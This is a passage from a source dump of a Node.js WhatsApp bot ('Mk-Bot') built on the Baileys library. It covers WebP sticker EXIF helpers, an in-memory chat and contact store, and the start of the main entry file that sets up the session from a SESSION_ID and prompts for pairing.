`https://github.com/DikaArdnt/Hisoka-Morou`, "sticker-pack-name": metadata.packname, "sticker-pack-publisher": metadata.author, "emojis": metadata.categories ? metadata.categories : [""] } 112 | const exifAttr = Buffer.from([0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0x41, 0x57, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00]) 113 | const jsonBuff = Buffer.from(JSON.stringify(json), "utf-8") 114 | const exif = Buffer.concat([exifAttr, jsonBuff]) 115 | exif.writeUIntLE(jsonBuff.length, 14, 4) 116 | await img.load(tmpFileIn) 117 | fs.unlinkSync(tmpFileIn) 118 | img.exif = exif 119 | await img.save(tmpFileOut) 120 | return tmpFileOut 121 | } 122 | } 123 | 124 | async function writeExif (media, metadata) { 125 | let wMedia = /webp/.test(media.mimetype) ? media.data : /image/.test(media.mimetype) ? await imageToWebp(media.data) : /video/.test(media.mimetype) ? await videoToWebp(media.data) : "" 126 | const tmpFileIn = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.webp`) 127 | const tmpFileOut = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.webp`) 128 | fs.writeFileSync(tmpFileIn, wMedia) 129 | 130 | if (metadata.packname || metadata.author) { 131 | const img = new webp.Image() 132 | const json = { "sticker-pack-id": `https://github.com/DikaArdnt/Hisoka-Morou`, "sticker-pack-name": metadata.packname, "sticker-pack-publisher": metadata.author, "emojis": metadata.categories ? metadata.categories : [""] } 133 | const exifAttr = Buffer.from([0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0x41, 0x57, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00]) 134 | const jsonBuff = Buffer.from(JSON.stringify(json), "utf-8") 135 | const exif = Buffer.concat([exifAttr, jsonBuff]) 136 | exif.writeUIntLE(jsonBuff.length, 14, 4) 137 | await img.load(tmpFileIn) 138 | fs.unlinkSync(tmpFileIn) 139 | img.exif = exif 140 | await img.save(tmpFileOut) 141 | return tmpFileOut 142 | } 143 | } 144 | 145 | async function exifAvatar(buffer, packname, author, categories = [''], extra = {}) { 146 | const { default: { Image }} = await import('node-webpmux') 147 | const img = new Image() 148 | const json = { 'sticker-pack-id': 'parel-kntll', 'sticker-pack-name': packname, 'sticker-pack-publisher': author, 'emojis': categories, 'is-avatar-sticker': 1, ...extra } 149 | let exifAttr = Buffer.from([0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0x41, 0x57, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00]) 150 | let jsonBuffer = Buffer.from(JSON.stringify(json), 'utf8') 151 | let exif = Buffer.concat([exifAttr, jsonBuffer]) 152 | exif.writeUIntLE(jsonBuffer.length, 14, 4) 153 | await img.load(buffer) 154 | img.exif = exif 155 | return await img.save(null) 156 | } 157 | async function addExif(webpSticker, packname, author, categories = [''], extra = {}) { 158 | const img = new webp.Image(); 159 | const stickerPackId = Crypto.randomBytes(32).toString('hex'); 160 | const json = { 'sticker-pack-id': stickerPackId, 'sticker-pack-name': packname, 'sticker-pack-publisher': author, 'emojis': categories, ...extra }; 161 | let exifAttr = Buffer.from([0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0x41, 0x57, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00]); 162 | let jsonBuffer = Buffer.from(JSON.stringify(json), 'utf8'); 163 | let exif = Buffer.concat([exifAttr, jsonBuffer]); 164 | exif.writeUIntLE(jsonBuffer.length, 14, 4); 165 | await img.load(webpSticker) 166 | img.exif = exif 167 | return await img.save(null) 168 | } 169 | 170 | 171 | module.exports = { imageToWebp, videoToWebp, writeExifImg, writeExifVid, writeExif, exifAvatar, addExif } 172 | -------------------------------------------------------------------------------- /lib/store/make-in-memory-store.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | var __importDefault = (this && this.__importDefault) || function (mod) { 3 | return (mod && mod.__esModule) ? mod : { "default": mod }; 4 | }; 5 | Object.defineProperty(exports, "__esModule", { value: true }); 6 | exports.waLabelAssociationKey = exports.waMessageID = exports.waChatKey = void 0; 7 | const WAProto_1 = require("@whiskeysockets/baileys/WAProto"); 8 | const Defaults_1 = require("@whiskeysockets/baileys/lib/Defaults"); 9 | const LabelAssociation_1 = require("@whiskeysockets/baileys/lib/Types/LabelAssociation"); 10 | const Utils_1 = require("@whiskeysockets/baileys/lib/Utils"); 11 | const WABinary_1 = require("@whiskeysockets/baileys/lib/WABinary"); 12 | const make_ordered_dictionary_1 = __importDefault(require("./make-ordered-dictionary")); 13 | const object_repository_1 = require("./object-repository"); 14 | const waChatKey = (pin) => ({ 15 | key: (c) => (pin ? (c.pinned ? '1' : '0') : '') + (c.archived ? '0' : '1') + (c.conversationTimestamp ? c.conversationTimestamp.toString(16).padStart(8, '0') : '') + c.id, 16 | compare: (k1, k2) => k2.localeCompare(k1) 17 | }); 18 | exports.waChatKey = waChatKey; 19 | const waMessageID = (m) => m.key.id || ''; 20 | exports.waMessageID = waMessageID; 21 | exports.waLabelAssociationKey = { 22 | key: (la) => (la.type === LabelAssociation_1.LabelAssociationType.Chat ? la.chatId + la.labelId : la.chatId + la.messageId + la.labelId), 23 | compare: (k1, k2) => k2.localeCompare(k1) 24 | }; 25 | const makeMessagesDictionary = () => (0, make_ordered_dictionary_1.default)(exports.waMessageID); 26 | exports.default = (config) => { 27 | const socket = config.socket; 28 | const chatKey = config.chatKey || (0, exports.waChatKey)(true); 29 | const labelAssociationKey = config.labelAssociationKey || exports.waLabelAssociationKey; 30 | const logger = config.logger || Defaults_1.DEFAULT_CONNECTION_CONFIG.logger.child({ stream: 'in-mem-store' }); 31 | const KeyedDB = require('@adiwajshing/keyed-db').default; 32 | const chats = new KeyedDB(chatKey, c => c.id); 33 | const messages = {}; 34 | const contacts = {}; 35 | const groupMetadata = {}; 36 | const presences = {}; 37 | const state = { connection: 'close' }; 38 | const labels = new object_repository_1.ObjectRepository(); 39 | const labelAssociations = new KeyedDB(labelAssociationKey, labelAssociationKey.key); 40 | const assertMessageList = (jid) => { 41 | if (!messages[jid]) { 42 | messages[jid] = makeMessagesDictionary(); 43 | } 44 | return messages[jid]; 45 | }; 46 | const contactsUpsert = (newContacts) => { 47 | const oldContacts = new Set(Object.keys(contacts)); 48 | for (const contact of newContacts) { 49 | oldContacts.delete(contact.id); 50 | contacts[contact.id] = Object.assign(contacts[contact.id] || {}, contact); 51 | } 52 | return oldContacts; 53 | }; 54 | const labelsUpsert = (newLabels) => { 55 | for (const label of newLabels) { 56 | labels.upsertById(label.id, label); 57 | } 58 | }; 59 | /** 60 | * binds to a BaileysEventEmitter. 61 | * It listens to all events and constructs a state that you can query accurate data from. 62 | * Eg. can use the store to fetch chats, contacts, messages etc. 63 | * @param ev typically the event emitter from the socket connection 64 | */ 65 | const bind = (ev) => { 66 | ev.on('connection.update', update => { 67 | Object.assign(state, update); 68 | }); 69 | ev.on('messaging-history.set', ({ chats: newChats, contacts: newContacts, messages: newMessages, isLatest, syncType }) => { 70 | if (syncType === WAProto_1.proto.HistorySync.HistorySyncType.ON_DEMAND) { 71 | return; // FOR NOW, 72 | //TODO: HANDLE 73 | } 74 | if (isLatest) { 75 | chats.clear(); 76 | for (const id in messages) { 77 | delete messages[id]; 78 | } 79 | } 80 | const chatsAdded = chats.insertIfAbsent(...newChats).length; 81 | logger.debug({ chatsAdded }, 'synced chats'); 82 | const oldContacts = contactsUpsert(newContacts); 83 | if (isLatest) { 84 | for (const jid of oldContacts) { 85 | delete contacts[jid]; 86 | } 87 | } 88 | logger.debug({ deletedContacts: isLatest ? oldContacts.size : 0, newContacts }, 'synced contacts'); 89 | for (const msg of newMessages) { 90 | const jid = msg.key.remoteJid; 91 | const list = assertMessageList(jid); 92 | list.upsert(msg, 'prepend'); 93 | } 94 | logger.debug({ messages: newMessages.length }, 'synced messages'); 95 | }); 96 | ev.on('contacts.upsert', contacts => { 97 | contactsUpsert(contacts); 98 | }); 99 | ev.on('contacts.update', async (updates) => { 100 | var _a; 101 | for (const update of updates) { 102 | let contact; 103 | if (contacts[update.id]) { 104 | contact = contacts[update.id]; 105 | } 106 | else { 107 | const contactHashes = await Promise.all(Object.keys(contacts).map(async (contactId) => { 108 | const { user } = (0, WABinary_1.jidDecode)(contactId); 109 | return [contactId, (await (0, Utils_1.md5)(Buffer.from(user + 'WA_ADD_NOTIF', 'utf8'))).toString('base64').slice(0, 3)]; 110 | })); 111 | contact = contacts[((_a = contactHashes.find(([, b]) => b === update.id)) === null || _a === void 0 ? void 0 : _a[0]) || '']; // find contact by attrs.hash, when user is not saved as a contact 112 | } 113 | if (contact) { 114 | if (update.imgUrl === 'changed') { 115 | contact.imgUrl = socket ? await (socket === null || socket === void 0 ? void 0 : socket.profilePictureUrl(contact.id)) : undefined; 116 | } 117 | else if (update.imgUrl === 'removed') { 118 | delete contact.imgUrl; 119 | } 120 | } 121 | else { 122 | return logger.debug({ update }, 'got update for non-existant contact'); 123 | } 124 | Object.assign(contacts[contact.id], contact); 125 | } 126 | }); 127 | ev.on('chats.upsert', newChats => { 128 | chats.upsert(...newChats); 129 | }); 130 | ev.on('chats.update', updates => { 131 | for (let update of updates) { 132 | const result = chats.update(update.id, chat => { 133 | if (update.unreadCount > 0) { 134 | update = { ...update }; 135 | update.unreadCount = (chat.unreadCount || 0) + update.unreadCount; 136 | } 137 | Object.assign(chat, update); 138 | }); 139 | if (!result) { 140 | logger.debug({ update }, 'got update for non-existant chat'); 141 | } 142 | } 143 | }); 144 | ev.on('labels.edit', (label) => { 145 | if (label.deleted) { 146 | return labels.deleteById(label.id); 147 | } 148 | // WhatsApp can store only up to 20 labels 149 | if (labels.count() < 20) { 150 | return labels.upsertById(label.id, label); 151 | } 152 | logger.error('Labels count exceed'); 153 | }); 154 | ev.on('labels.association', ({ type, association }) => { 155 | switch (type) { 156 | case 'add': 157 | labelAssociations.upsert(association); 158 | break; 159 | case 'remove': 160 | labelAssociations.delete(association); 161 | break; 162 | default: 163 | console.error(`unknown operation type [${type}]`); 164 | } 165 | }); 166 | ev.on('presence.update', ({ id, presences: update }) => { 167 | presences[id] = presences[id] || {}; 168 | Object.assign(presences[id], update); 169 | }); 170 | ev.on('chats.delete', deletions => { 171 | for (const item of deletions) { 172 | if (chats.get(item)) { 173 | chats.deleteById(item); 174 | } 175 | } 176 | }); 177 | ev.on('messages.upsert', ({ messages: newMessages, type }) => { 178 | switch (type) { 179 | case 'append': 180 | case 'notify': 181 | for (const msg of newMessages) { 182 | const jid = (0, WABinary_1.jidNormalizedUser)(msg.key.remoteJid); 183 | const list = assertMessageList(jid); 184 | list.upsert(msg, 'append'); 185 | if (type === 'notify' && !chats.get(jid)) { 186 | ev.emit('chats.upsert', [ 187 | { 188 | id: jid, 189 | conversationTimestamp: (0, Utils_1.toNumber)(msg.messageTimestamp), 190 | unreadCount: 1 191 | } 192 | ]); 193 | } 194 | } 195 | break; 196 | } 197 | }); 198 | ev.on('messages.update', updates => { 199 | var _a; 200 | for (const { update, key } of updates) { 201 | const list = assertMessageList((0, WABinary_1.jidNormalizedUser)(key.remoteJid)); 202 | if (update === null || update === void 0 ? void 0 : update.status) { 203 | const listStatus = (_a = list.get(key.id)) === null || _a === void 0 ? void 0 : _a.status; 204 | if (listStatus && (update === null || update === void 0 ? void 0 : update.status) <= listStatus) { 205 | logger.debug({ update, storedStatus: listStatus }, 'status stored newer then update'); 206 | delete update.status; 207 | logger.debug({ update }, 'new update object'); 208 | } 209 | } 210 | const result = list.updateAssign(key.id, update); 211 | if (!result) { 212 | logger.debug({ update }, 'got update for non-existent message'); 213 | } 214 | } 215 | }); 216 | ev.on('messages.delete', item => { 217 | if ('all' in item) { 218 | const list = messages[item.jid]; 219 | list === null || list === void 0 ? void 0 : list.clear(); 220 | } 221 | else { 222 | const jid = item.keys[0].remoteJid; 223 | const list = messages[jid]; 224 | if (list) { 225 | const idSet = new Set(item.keys.map(k => k.id)); 226 | list.filter(m => !idSet.has(m.key.id)); 227 | } 228 | } 229 | }); 230 | ev.on('groups.update', updates => { 231 | for (const update of updates) { 232 | const id = update.id; 233 | if (groupMetadata[id]) { 234 | Object.assign(groupMetadata[id], update); 235 | } 236 | else { 237 | logger.debug({ update }, 'got update for non-existant group metadata'); 238 | } 239 | } 240 | }); 241 | ev.on('group-participants.update', ({ id, participants, action }) => { 242 | const metadata = groupMetadata[id]; 243 | if (metadata) { 244 | switch (action) { 245 | case 'add': 246 | metadata.participants.push(...participants.map(id => ({ id, isAdmin: false, isSuperAdmin: false }))); 247 | break; 248 | case 'demote': 249 | case 'promote': 250 | for (const participant of metadata.participants) { 251 | if (participants.includes(participant.id)) { 252 | participant.isAdmin = action === 'promote'; 253 | } 254 | } 255 | break; 256 | case 'remove': 257 | metadata.participants = metadata.participants.filter(p => !participants.includes(p.id)); 258 | break; 259 | } 260 | } 261 | }); 262 | ev.on('message-receipt.update', updates => { 263 | for (const { key, receipt } of updates) { 264 | const obj = messages[key.remoteJid]; 265 | const msg = obj === null || obj === void 0 ? void 0 : obj.get(key.id); 266 | if (msg) { 267 | (0, Utils_1.updateMessageWithReceipt)(msg, receipt); 268 | } 269 | } 270 | }); 271 | ev.on('messages.reaction', (reactions) => { 272 | for (const { key, reaction } of reactions) { 273 | const obj = messages[key.remoteJid]; 274 | const msg = obj === null || obj === void 0 ? void 0 : obj.get(key.id); 275 | if (msg) { 276 | (0, Utils_1.updateMessageWithReaction)(msg, reaction); 277 | } 278 | } 279 | }); 280 | }; 281 | const toJSON = () => ({ 282 | chats, 283 | contacts, 284 | messages, 285 | labels, 286 | labelAssociations 287 | }); 288 | const fromJSON = (json) => { 289 | chats.upsert(...json.chats); 290 | labelAssociations.upsert(...json.labelAssociations || []); 291 | contactsUpsert(Object.values(json.contacts)); 292 | labelsUpsert(Object.values(json.labels || {})); 293 | for (const jid in json.messages) { 294 | const list = assertMessageList(jid); 295 | for (const msg of json.messages[jid]) { 296 | list.upsert(WAProto_1.proto.WebMessageInfo.fromObject(msg), 'append'); 297 | } 298 | } 299 | }; 300 | return { 301 | chats, 302 | contacts, 303 | messages, 304 | groupMetadata, 305 | state, 306 | presences, 307 | labels, 308 | labelAssociations, 309 | bind, 310 | /** loads messages from the store, if not found -- uses the legacy connection */ 311 | loadMessages: async (jid, count, cursor) => { 312 | const list = assertMessageList(jid); 313 | const mode = !cursor || 'before' in cursor ? 'before' : 'after'; 314 | const cursorKey = !!cursor ? ('before' in cursor ? cursor.before : cursor.after) : undefined; 315 | const cursorValue = cursorKey ? list.get(cursorKey.id) : undefined; 316 | let messages; 317 | if (list && mode === 'before' && (!cursorKey || cursorValue)) { 318 | if (cursorValue) { 319 | const msgIdx = list.array.findIndex(m => m.key.id === (cursorKey === null || cursorKey === void 0 ? void 0 : cursorKey.id)); 320 | messages = list.array.slice(0, msgIdx); 321 | } 322 | else { 323 | messages = list.array; 324 | } 325 | const diff = count - messages.length; 326 | if (diff < 0) { 327 | messages = messages.slice(-count); // get the last X messages 328 | } 329 | } 330 | else { 331 | messages = []; 332 | } 333 | return messages; 334 | }, 335 | /** 336 | * Get all available labels for profile 337 | * 338 | * Keep in mind that the list is formed from predefined tags and tags 339 | * that were "caught" during their editing. 340 | */ 341 | getLabels: () => { 342 | return labels; 343 | }, 344 | /** 345 | * Get labels for chat 346 | * 347 | * @returns Label IDs 348 | **/ 349 | getChatLabels: (chatId) => { 350 | return labelAssociations.filter((la) => la.chatId === chatId).all(); 351 | }, 352 | /** 353 | * Get labels for message 354 | * 355 | * @returns Label IDs 356 | **/ 357 | getMessageLabels: (messageId) => { 358 | const associations = labelAssociations 359 | .filter((la) => la.messageId === messageId) 360 | .all(); 361 | return associations.map(({ labelId }) => labelId); 362 | }, 363 | loadMessage: async (jid, id) => { var _a; return (_a = messages[jid]) === null || _a === void 0 ? void 0 : _a.get(id); }, 364 | mostRecentMessage: async (jid) => { 365 | var _a; 366 | const message = (_a = messages[jid]) === null || _a === void 0 ? void 0 : _a.array.slice(-1)[0]; 367 | return message; 368 | }, 369 | fetchImageUrl: async (jid, sock) => { 370 | const contact = contacts[jid]; 371 | if (!contact) { 372 | return sock === null || sock === void 0 ? void 0 : sock.profilePictureUrl(jid); 373 | } 374 | if (typeof contact.imgUrl === 'undefined') { 375 | contact.imgUrl = await (sock === null || sock === void 0 ? void 0 : sock.profilePictureUrl(jid)); 376 | } 377 | return contact.imgUrl; 378 | }, 379 | fetchGroupMetadata: async (jid, sock) => { 380 | if (!groupMetadata[jid]) { 381 | const metadata = await (sock === null || sock === void 0 ? void 0 : sock.groupMetadata(jid)); 382 | if (metadata) { 383 | groupMetadata[jid] = metadata; 384 | } 385 | } 386 | return groupMetadata[jid]; 387 | }, 388 | // fetchBroadcastListInfo: async(jid: string, sock: WASocket | undefined) => { 389 | // if(!groupMetadata[jid]) { 390 | // const metadata = await sock?.getBroadcastListInfo(jid) 391 | // if(metadata) { 392 | // groupMetadata[jid] = metadata 393 | // } 394 | // } 395 | // return groupMetadata[jid] 396 | // }, 397 | fetchMessageReceipts: async ({ remoteJid, id }) => { 398 | const list = messages[remoteJid]; 399 | const msg = list === null || list === void 0 ? void 0 : list.get(id); 400 | return msg === null || msg === void 0 ? void 0 : msg.userReceipt; 401 | }, 402 | toJSON, 403 | fromJSON, 404 | writeToFile: (path) => { 405 | // require fs here so that in case "fs" is not available -- the app does not crash 406 | const { writeFileSync } = require('fs'); 407 | writeFileSync(path, JSON.stringify(toJSON())); 408 | }, 409 | readFromFile: (path) => { 410 | // require fs here so that in case "fs" is not available -- the app does not crash 411 | const { readFileSync, existsSync } = require('fs'); 412 | if (existsSync(path)) { 413 | logger.debug({ path }, 'reading from file'); 414 | const jsonStr = readFileSync(path, { encoding: 'utf-8' }); 415 | const json = JSON.parse(jsonStr); 416 | fromJSON(json); 417 | } 418 | } 419 | }; 420 | }; 421 | -------------------------------------------------------------------------------- /index.js: -------------------------------------------------------------------------------- 1 | /* ═════════════════════════════════ 2 | * 🚀 MALVIN KING TECH - YT 3 | * ═════════════════════════════════ 4 | * 5 | * 📺 YouTube : https://www.youtube.com/@malvintech2 6 | * 💻 GitHub : https://github.com/XdKing2 7 | * 🌐 Website : Coming Soon 8 | * 🪀 WhatsApp : https://whatsapp.com/channel/0029VbB3YxTDJ6H15SKoBv3S 9 | * 10 | * 👨‍💻 Developer : Malvin King 11 | * 📧 Contact : Available on GitHub 12 | * 13 | * ⚠️ Please do not remove this watermark 14 | * ═════════════════════════════════ 15 | * © 2025 Malvin Tech - All Rights Reserved 16 | * ════════════════════════════════ */ 17 | 18 | 19 | require("./settings"); 20 | const { default: makeWASocket, useMultiFileAuthState, fetchLatestBaileysVersion, DisconnectReason, delay, Browsers, makeCacheableSignalKeyStore, jidDecode, downloadContentFromMessage, getAggregateVotesInPollMessage, generateWAMessageFromContent, generateForwardMessageContent, getMessage } = require('@whiskeysockets/baileys'); 21 | 22 | const { modul } = require("./module"); 23 | const moment = require("moment-timezone"); 24 | const figlet = require("figlet"); 25 | const gradient = require("gradient-string"); 26 | const { baileys, chalk, fs, FileType, path, pino, PhoneNumber, axios, os } = modul; 27 | const { makeInMemoryStore } = require("./lib/store/"); 28 | const { color, bgcolor } = require("./lib/color"); 29 | const { uncache, nocache } = require("./lib/loader"); 30 | const Pino = require("pino"); 31 | const readline = require("readline"); 32 | const yargs = require('yargs/yargs') 33 | const _ = require('lodash') 34 | const NodeCache = require("node-cache"); 35 | 36 | const { smsg, isUrl, generateMessageTag, getBuffer, getSizeMedia, fetchJson, await, sleep, reSize, tanggal, day, bulan, tahun, weton, loadModule, protex } = require("./lib/myfunc"); 37 | const { imageToWebp, videoToWebp, writeExifImg, writeExifVid, addExif, imageToWebpAvatar, videoToWebpAvatar, writeExifImgAvatar, writeExifVidAvatar } = require('./lib/exif') 38 | const more = String.fromCharCode(8206); 39 | const readmore = more.repeat(4001); 40 | const prefix = ""; 41 | const type = (x) => x?.constructor?.name || (x === null ? "null" : "undefined"); 42 | const isStringSame = (x, y) => (Array.isArray(y) ? y.includes(x) : y === x); 43 | const buttonTypes = []; 44 | 45 | // Main database path 46 | const dbPath = path.join(__dirname, "database"); 47 | const dbFile = path.join(dbPath, "database.json"); 48 | const pentingFile = path.join(dbPath, "penting.json"); 49 | const usersJson = path.join(dbPath, "user.json"); 50 | const contactsFile = path.join(dbPath, "contacts.vcf"); 51 | 52 | if (!fs.existsSync(dbPath)) { 53 | fs.mkdirSync(dbPath); 54 | console.log(chalk.greenBright("[Database] Folder created automatically.")); 55 | } 56 | if (!fs.existsSync(dbFile)) { 57 | fs.writeFileSync(dbFile, JSON.stringify({}, null, 2)); 58 | console.log(chalk.greenBright("[Database] database.json file created.")); 59 | } 60 | if (!fs.existsSync(usersJson)) { 61 | const userDefault = [] 62 | fs.writeFileSync(usersJson, JSON.stringify(userDefault, null, 2)); 63 | console.log(chalk.greenBright("[Database] user.json file created.")); 64 | } 65 | if (!fs.existsSync(pentingFile)) { 66 | const pentingDefault = { 67 | blacklistJpm: [], 68 | autoJpm: { 69 | status: false, 70 | interval: 0, 71 | type: "hour", 72 | messages: [], 73 | lastIndex: 0, 74 | }, 75 | }; 76 | fs.writeFileSync(pentingFile, JSON.stringify(pentingDefault, null, 2)); 77 | console.log(chalk.greenBright("[Database] penting.json file created.")); 78 | } 79 | 80 | if (!fs.existsSync(contactsFile)) { 81 | fs.writeFileSync(contactsFile, ""); 82 | console.log(chalk.greenBright("[Database] contacts.vcf file created.")); 83 | } 84 | const { handleIncomingMessage } = require("./lib/user"); 85 | const pentingPath = path.join(process.cwd(), "database", "penting.json") 86 | let penting = JSON.parse(fs.readFileSync(pentingPath)) 87 | // Save changes to file 88 | function savePenting() { 89 | fs.writeFileSync(pentingPath, JSON.stringify(penting, null, 2)) 90 | } 91 | var low 92 | try { 93 | low = require('lowdb') 94 | } catch (e) { 95 | low = require('./lib/lowdb')} 96 | const { Low, JSONFile } = low 97 | const mongoDB = require('./lib/mongoDB') 98 | 99 | const store = makeInMemoryStore({ 100 | logger: pino().child({ 101 | level: "silent", 102 | stream: "store", 103 | }), 104 | }); 105 | 106 | global.opts = new Object(yargs(process.argv.slice(2)).exitProcess(false).parse()) 107 | global.db = new Low( 108 | /https?:\/\//.test(opts['db'] || '') ? 109 | new cloudDBAdapter(opts['db']) : /mongodb/.test(opts['db']) ? 110 | new mongoDB(opts['db']) : 111 | new JSONFile(`./database/database.json`) 112 | ) 113 | global.DATABASE = global.db // Backwards Compatibility 114 | global.loadDatabase = async function loadDatabase() { 115 | if (global.db.READ) return new Promise((resolve) => setInterval(function () { (!global.db.READ ? (clearInterval(this), resolve(global.db.data == null ? global.loadDatabase() : global.db.data)) : null) }, 1 * 1000)) 116 | if (global.db.data !== null) return 117 | global.db.READ = true 118 | await global.db.read() 119 | global.db.READ = false 120 | global.db.data = { 121 | users: {}, 122 | chats: {}, 123 | game: {}, 124 | database: {}, 125 | settings: {}, 126 | setting: {}, 127 | others: {}, 128 | sticker: {}, 129 | ...(global.db.data || {})} 130 | global.db.chain = _.chain(global.db.data)} 131 | loadDatabase() 132 | 133 | // ===================== CONSOLE SETUP ===================== // 134 | console.clear(); 135 | console.log( 136 | chalk.yellow("[ Starting ] ") + chalk.white.bold("Welcome In Terminal Mk-bot!") 137 | ); 138 | 139 | process.on("unhandledRejection", (reason, promise) => { 140 | console.log(chalk.red("[Error] Unhandled Rejection →"), reason); 141 | }); 142 | process.on("rejectionHandled", (promise) => { 143 | console.log(chalk.gray("[Info] Rejection handled.")); 144 | }); 145 | process.on("Something went wrong", function (err) { 146 | console.log(chalk.red("[Exception]"), err); 147 | }); 148 | 149 | // ========== STARTUP SPLASH ========== // 150 | setTimeout(() => { 151 | console.clear(); 152 | console.log( 153 | chalk.cyan.bold( 154 | figlet.textSync("M-K", { horizontalLayout: "full" }) 155 | ) 156 | ); 157 | console.log(gradient.pastel.multiline("Booting Mk-Bot Engine...")); 158 | console.log(chalk.gray("──────────────────────────────────────────────")); 159 | console.log(chalk.white("Welcome to Mk-Bot - YT Malvin Tech")); 160 | console.log(chalk.gray("──────────────────────────────────────────────\n")); 161 | 162 | console.log( 163 | chalk.cyan.bold("Operating System Information:"), 164 | "\n", 165 | chalk.white(`├ Platform : ${os.platform()} ${os.arch()}`), 166 | "\n", 167 | chalk.white(`├ Release : ${os.release()}`), 168 | "\n", 169 | chalk.white(`├ Hostname : ${os.hostname()}`), 170 | "\n", 171 | chalk.white(`├ Total RAM: ${(os.totalmem() / 1024 / 1024 / 1024).toFixed(2)} GB`), 172 | "\n", 173 | chalk.white(`├ Free RAM : ${(os.freemem() / 1024 / 1024 / 1024).toFixed(2)} GB`), 174 | "\n", 175 | chalk.white(`└ Uptime : ${os.uptime()} sec\n`) 176 | ); 177 | 178 | console.log(chalk.magenta.bold("===============================================")); 179 | console.log(chalk.cyan.bold("Preparing environment...")); 180 | }, 1000); 181 | protex(); 182 | 183 | const ask = (text) => { 184 | return new Promise((resolve) => { 185 | const rl = readline.createInterface({ 186 | input: process.stdin, 187 | output: process.stdout, 188 | }); 189 | 190 | rl.question(text, (answer) => { 191 | rl.close(); 192 | resolve(answer.trim()); 193 | }); 194 | }); 195 | }; 196 | 197 | // ========== FIXED SESSION HANDLER ========== 198 | async function initializeSession() { 199 | const sessionDir = "./session"; 200 | 201 | // Create session directory if it doesn't exist 202 | if (!fs.existsSync(sessionDir)) { 203 | fs.mkdirSync(sessionDir, { recursive: true }); 204 | } 205 | 206 | const credsPath = path.join(sessionDir, "creds.json"); 207 | 208 | // Check if we have a session ID in settings 209 | if (global.SESSION_ID && global.SESSION_ID.startsWith('starcore~')) { 210 | console.log(chalk.blue('🔄 Found SESSION_ID in settings, injecting...')); 211 | try { 212 | const base64Data = global.SESSION_ID.replace('starcore~', ''); 213 | if (base64Data && /^[A-Za-z0-9+/=]+$/.test(base64Data)) { 214 | const decodedData = Buffer.from(base64Data, "base64"); 215 | const sessionData = JSON.parse(decodedData.toString("utf-8")); 216 | 217 | console.log(chalk.blue('📦 Session data structure:')); 218 | console.log(chalk.blue(` - Has creds: ${!!sessionData.creds}`)); 219 | console.log(chalk.blue(` - Has keys: ${!!sessionData.keys}`)); 220 | console.log(chalk.blue(` - Registered: ${sessionData.creds?.registered || 'unknown'}`)); 221 | 222 | // Always inject the session ID data (overwrite existing) 223 | fs.writeFileSync(credsPath, JSON.stringify(sessionData, null, 2)); 224 | console.log(chalk.green('✅ Session ID successfully injected into creds.json')); 225 | 226 | // Verify the file was written 227 | if (fs.existsSync(credsPath)) { 228 | const writtenData = JSON.parse(fs.readFileSync(credsPath, 'utf-8')); 229 | console.log(chalk.green(`✅ Verification: creds.json created with registered status: ${writtenData.creds?.registered || 'unknown'}`)); 230 | } 231 | } else { 232 | console.log(chalk.red('❌ Invalid base64 format in SESSION_ID')); 233 | } 234 | } catch (error) { 235 | console.log(chalk.red('❌ Failed to parse SESSION_ID:'), error.message); 236 | } 237 | } else { 238 | console.log(chalk.yellow('ℹ️ No SESSION_ID found in settings, using existing session files')); 239 | } 240 | 241 | // Use Baileys' multi-file auth state (this will read the creds.json we just created) 242 | console.log(chalk.green('✓ Loading session using multi-file auth state')); 243 | const { state, saveCreds } = await useMultiFileAuthState(sessionDir); 244 | 245 | // Debug session state 246 | console.log(chalk.blue('🔍 Session state after loading:')); 247 | console.log(chalk.blue(` - Registered: ${state.creds.registered ? 'YES' : 'NO'}`)); 248 | console.log(chalk.blue(` - Me ID: ${state.creds.me?.id || 'Not set'}`)); 249 | console.log(chalk.blue(` - Device ID: ${state.creds.deviceId || 'Not set'}`)); 250 | 251 | return { state, saveCreds }; 252 | } 253 | 254 | async function startsesi() { 255 | await new Promise((r) => setTimeout(r, 2000)); 256 | console.clear(); 257 | console.log(gradient.morning(figlet.textSync("Mk-Bot v1.0.1", { horizontalLayout: "full" }))); 258 | console.log(chalk.gray("──────────────────────────────────────────────")); 259 | console.log(chalk.cyanBright("Initializing Mk System...")); 260 | console.log(chalk.gray("──────────────────────────────────────────────\n")); 261 | 262 | // Initialize session first 263 | const sessionResult = await initializeSession(); 264 | 265 | // Check session status 266 | const hasExistingSession = sessionResult.state.creds.registered; 267 | console.log(chalk.white(`🔐 Session status: ${hasExistingSession ? '✅ REGISTERED' : '❌ NOT REGISTERED'}`)); 268 | 269 | // Only ask for bot number if we don't have a registered session 270 | let botNumber = global.nomorbot; 271 | if (!hasExistingSession && (!botNumber || botNumber.trim() === "")) { 272 | console.log(chalk.yellow("\n📱 Bot Setup Required")); 273 | console.log(chalk.yellow("Enter bot number for pairing (ex: 26371xxxxxx): ")); 274 | botNumber = await ask("> "); 275 | global.nomorbot = botNumber; 276 | 277 | // Save to settings 278 | const settingsPath = "./settings.js"; 279 | if (fs.existsSync(settingsPath)) { 280 | let settingsContent = fs.readFileSync(settingsPath, "utf-8"); 281 | settingsContent = settingsContent.replace(/global\.nomorbot\s*=\s*(['"`]).*?\1/, `global.nomorbot = '${botNumber}'`); 282 | fs.writeFileSync(settingsPath, settingsContent, "utf-8"); 283 | console.log(chalk.green('✓ Bot number saved to settings.js')); 284 | } 285 | } else if (hasExistingSession) { 286 | console.log(chalk.green('✅ Using existing registered session')); 287 | botNumber = global.nomorbot || sessionResult.state.creds.me?.id?.split(':')[0]; 288 | } 289 | 290 | // Owner info (only ask if not set) 291 | if (!global.ownernumber || global.ownernumber.trim() === "") { 292 | 